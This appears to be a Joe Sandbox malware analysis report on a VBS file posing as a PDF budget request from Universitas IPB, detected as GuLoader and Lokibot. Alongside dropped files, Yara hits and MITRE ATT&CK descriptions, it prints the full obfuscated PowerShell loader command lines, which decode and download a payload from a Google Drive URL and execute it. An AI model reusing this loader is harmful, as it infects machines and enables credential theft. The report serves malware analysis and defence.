;Glederens $Band;Glederens (Preeliminator 'KoordSCykeltClarkaLiebhr MarktTusin-BrnehSDelkllRen,eeRe peeAbstrpUnco Intui4 Moan ');Glederens (Preeliminator 'm,tth$ NipsgNot rl Cai.o LoesbReearaBoplsl nden:EclipUGalocd lomssNo,imtGrafiiOverllMisfolHete eAn,latSydam=Afsti(PlaneT Amuzec,rsosGummitElevc-Ind rPStrafaOvah.twowi,h pent Permi$ OverB Wal l varmaAut cdHainasR,sbeecardilPrecol ProleEmissrSu.eriDolph)S urp ') ;Glederens (Preeliminator ' Kay $Pu slgChervlclodpoKlingb Geoma pklalS,rre:GalliASoricnRomertOve pi Duehk Un.evDe,tea IncorSkriniBeforafjerbtMor.i= Z,nt$UgenngEnv,ilKonseo,ibiabCensuam strl Bl,n: Sam.Tearwio Noniu W rksFrem lKirkeiOp.arnbetingHuser+Jul s+ igma%Nas e$ D.tetUnshrr,aandeAltanbGeneraadre nHandeeWintenLitho. pfancPerfoo prruKomman .gentH,nli ') ;$Tessituras160=$trebanen[$Antikvariat];}$Getlingndsunknes198=318869;$Negrita=32225;Glederens (Preeliminator 'Mo,fa$UddykgPresulInteroKollebOverlaNema l equi:UdbliPOverloCocond oldaa rounr ReligTrammeCalor Coxc= Co s ProfeGSheareE imytP odu-KultuCrulleoMisaln,iggit yline ombenPrecut Erig umy,d$ ko pB Hem l rminaI,dekd.ravlsSp.cieMaa el CabolCac ee kolrShtchiGoka ');Glederens (Preeliminator 'Hobna$Deka,gConf.lbe,vroDybs,bJessiaBerewl desi:TilstShor,euArlanpHyptre PerirCur ecOpvasa.osadrArgumg Fed,o IdiosStupe Ener=Margi Geofy[LapidS adeay elarsKo eatBev eePrehumlamia. ,alaCZornuo Un enBega vDiploe iscrNeddytRetsh]Balan: Skif:FedteFErnrirI,eogoUndermCre yBUnm.caErgoms ConseAver 6Re re4TavleSfugletchancrFdreliMessenPassagExpon(Nstfo$ EnnaPDi tio Sigtd ,oraaD vnsr MahjgCloyleSkatt)gulds ');Glederens (Preeliminator 'R pub$ RibbgToothlFugleo St ab HoflaForstlMeddl:por,vTTvrstoMashmn.edaieTrucul Sm,aeWishej ngreBefootadgans.abar C,ika= Groo minar[ Dra.S tuthyPseuds Teletsamree StrumLu er.overdTSv neeEcle xMediot Gill.SobreEs.norn ReficSata,o N.tadTatteiF nsenFimengLatir].eign: itro:Cyke.A GlemSFiskeClg dgI umynI,lind. TotaGSphagepseudtEneboSBestvtDybb rmelleiB,quan ensagDimid(Buder$Ag veSTimokuParafp UdgieTvan rKumulc gejlaMumblrfrivogKo meoWaspisUnder)Bru e ');Glederens (Preeliminator 'Iri e$TamergTu,nelAsepso okumbUntenaF derlTi li:Prut PFo ndfr.emig p in=Rygep$ pa.tTTirehoVkstrnBaronehirudlPaviseVelrvjSnuereVan,ltRukbasTr si.OmstnsAffutuOutspbUnpeds Veint Brutr Ruski Kas,nUncaug Lowl(Masse$ForldGOver.eIldfut ,ttalDeseciSkra nBighogImprinstuehdCha.cs.bbatuOvercnBondukStrepnSubtre Mon,s apit1Opbe.9Taeni8Inter,Ti,st$CatnaNPh ageSwinkgko.terRobiniR.lent InveaTmrer)Sky d ');Glederens $Pfg;"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:18:20
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:18:37
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei TR diolGrftesSolhj1 smad2Tubel ');$Tessituras160=$trebanen[0];$saurels=(Preeliminator 'algo,$Hepp.gRearrlSweenoAllerbD oleaAfgifLEfter:F lberBadgeeBaadfP,uperEKarritOpkl,iKrsantElledi RestO LiqunAmin ASekunR I.teYDiplo=Tran NMag,eE MisiWputre-NatarONd inbForldjR ulmeBasisCMidenTNonn. Rec.nSCac.cyCapriSO,idetPo,ygEsmaasMArcha.Flo snD pliEDemiotSt ns.Stam wB nebeSkrumbRep ocUdgralglitti Sm kE eklaN P.antvaler ');Glederens ($saurels);Glederens (Preeliminator ' Unsc$Limi.Rungare.edsppAmbuleSurintM,untiStrint,ovediPartso BalanCas,faLarrur MillyPerni.Em erHSkbneeTitteaP,otodRoyale Blksr ,ills rga[Omkr $IndfdM OvereRa iul fsbtHocklomousin krue]Asper=torre$ .icrSpamfipBlu pikontrsUndereCrossfSerabrSyntei CharkuratuvEddicaAh ldr ,rantkompoeEny lrHypaceNonqutFaglo ');$Band=Preeliminator 'Petau$nykalRDykkee St.rp MadoeCautitMyrici BlomtEpigri PreaoSt ernBasilaOsterrBankrydomes.Til gDFolkeoRemovwIn imn.krivlAf ilo Kursa Fa ldKnaldFBerthiOpfanlablace nat(Vir e$P.rseTRhinoeSammesArccosOverdiPangetx loguRegnorConyzaNon.osSva m1Pr nt6 Pell0Surre,Legul$ KawcBS unklCo.ntaOrdfjdSeriesAlette ,kanlC rollSvolveForeprTreski U ar) Hy,e ';$Bladselleri=$Verdenshistoriskes;Glederens (Preeliminator 'vitam$U irkGFarveLechoiOR litB eriAOvervLMishm:ProviUAkamndGalacSMonogTDi raiR,stbl etiLUdskreOverstaglyc=Dephl(Ge yrtAgerjEFremssPaupeTSacri-FiskepCl ngAsurpaTSchizhBlot Fdsel$ B atbBallylGj rdafrancDTh.otSMicroESoci,LB,uxiLTricoEAppriRFj,rdiMal,i)Smls ');while (!$Udstillet) {Glederens (Preeliminator 'Urede$St.ejg MetolCou soBeskfb SlgeaD athlgasap: ashlITelfonOversv TirsaNo malSsonaiBrug dAlthoeTailopSt kne Physn Sagas,rissiE bezo.accin rugsbl ck= Torv$ KelptArkairUnupbu Tet.e va.e ') ;Glederens $Band;Glederens (Preeliminator 'KoordSCykeltClarkaLiebhr MarktTusin-BrnehSDelkllRen,eeRe peeAbstrpUnco Intui4 Moan ');Glederens (Preeliminator 'm,tth$ NipsgNot rl Cai.o LoesbReearaBoplsl nden:EclipUGalocd lomssNo,imtGrafiiOverllMisfolHete eAn,latSydam=Afsti(PlaneT Amuzec,rsosGummitElevc-Ind rPStrafaOvah.twowi,h pent Permi$ OverB Wal l varmaAut cdHainasR,sbeecardilPrecol ProleEmissrSu.eriDolph)S urp ') ;Glederens (Preeliminator ' Kay $Pu slgChervlclodpoKlingb Geoma pklalS,rre:GalliASoricnRomertOve pi Duehk Un.evDe,tea IncorSkriniBeforafjerbtMor.i= Z,nt$UgenngEnv,ilKonseo,ibiabCensuam strl Bl,n: Sam.Tearwio Noniu W rksFrem lKirkeiOp.arnbetingHuser+Jul s+ igma%Nas e$ D.tetUnshrr,aandeAltanbGeneraadre nHandeeWintenLitho. pfancPerfoo prruKomman .gentH,nli ') ;$Tessituras160=$trebanen[$Antikvariat];}$Getlingndsunknes198=318869;$Negrita=32225;Glederens (Preeliminator 'Mo,fa$UddykgPresulInteroKollebOverlaNema l equi:UdbliPOverloCocond oldaa rounr ReligTrammeCalor Coxc= Co s ProfeGSheareE imytP odu-KultuCrulleoMisaln,iggit yline ombenPrecut Erig umy,d$ ko pB Hem l rminaI,dekd.ravlsSp.cieMaa el CabolCac ee kolrShtchiGoka ');Glederens (Preeliminator 'Hobna$Deka,gConf.lbe,vroDybs,bJessiaBerewl desi:TilstShor,euArlanpHyptre PerirCur ecOpvasa.osadrArgumg Fed,o IdiosStupe Ener=Margi Geofy[LapidS adeay elarsKo eatBev eePrehumlamia. ,alaCZornuo Un enBega vDiploe iscrNeddytRetsh]Balan: Skif:FedteFErnrirI,eogoUndermCre yBUnm.caErgoms ConseAver 6Re re4TavleSfugletchancrFdreliMessenPassagExpon(Nstfo$ EnnaPDi tio Sigtd ,oraaD vnsr MahjgCloyleSkatt)gulds ');Glederens (Preeliminator 'R pub$ RibbgToothlFugleo St ab HoflaForstlMeddl:por,vTTvrstoMashmn.edaieTrucul Sm,aeWishej ngreBefootadgans.abar C,ika= Groo minar[ Dra.S tuthyPseuds Teletsamree StrumLu er.overdTSv neeEcle xMediot Gill.SobreEs.norn ReficSata,o N.tadTatteiF nsenFimengLatir].eign: itro:Cyke.A GlemSFiskeClg dgI umynI,lind. TotaGSphagepseudtEneboSBestvtDybb rmelleiB,quan ensagDimid(Buder$Ag veSTimokuParafp UdgieTvan rKumulc gejlaMumblrfrivogKo meoWaspisUnder)Bru e ');Glederens (Preeliminator 'Iri e$TamergTu,nelAsepso okumbUntenaF derlTi li:Prut PFo ndfr.emig p in=Rygep$ pa.tTTirehoVkstrnBaronehirudlPaviseVelrvjSnuereVan,ltRukbasTr si.OmstnsAffutuOutspbUnpeds Veint Brutr Ruski Kas,nUncaug Lowl(Masse$ForldGOver.eIldfut ,ttalDeseciSkra nBighogImprinstuehdCha.cs.bbatuOvercnBondukStrepnSubtre Mon,s apit1Opbe.9Taeni8Inter,Ti,st$CatnaNPh ageSwinkgko.terRobiniR.lent InveaTmrer)Sky d ');Glederens $Pfg;"
Imagebase:	0x170000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.2721566180.0000000008430000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000004.00000002.2710566286.000000000565A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.2721776675.0000000008B75000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:18:37
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:18:54
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\msiexec.exe"
Imagebase:	0xa80000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2xm4ytvb.fjt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_drasxdxz.3vk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2y0cukb.e5w.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yl2fnnjw.zmj.ps1

C:\Users\user\AppData\Roaming\188E93\31437F.exe

C:\Users\user\AppData\Roaming\188E93\31437F.lck

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06

C:\Users\user\AppData\Roaming\Reebok.Dia

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre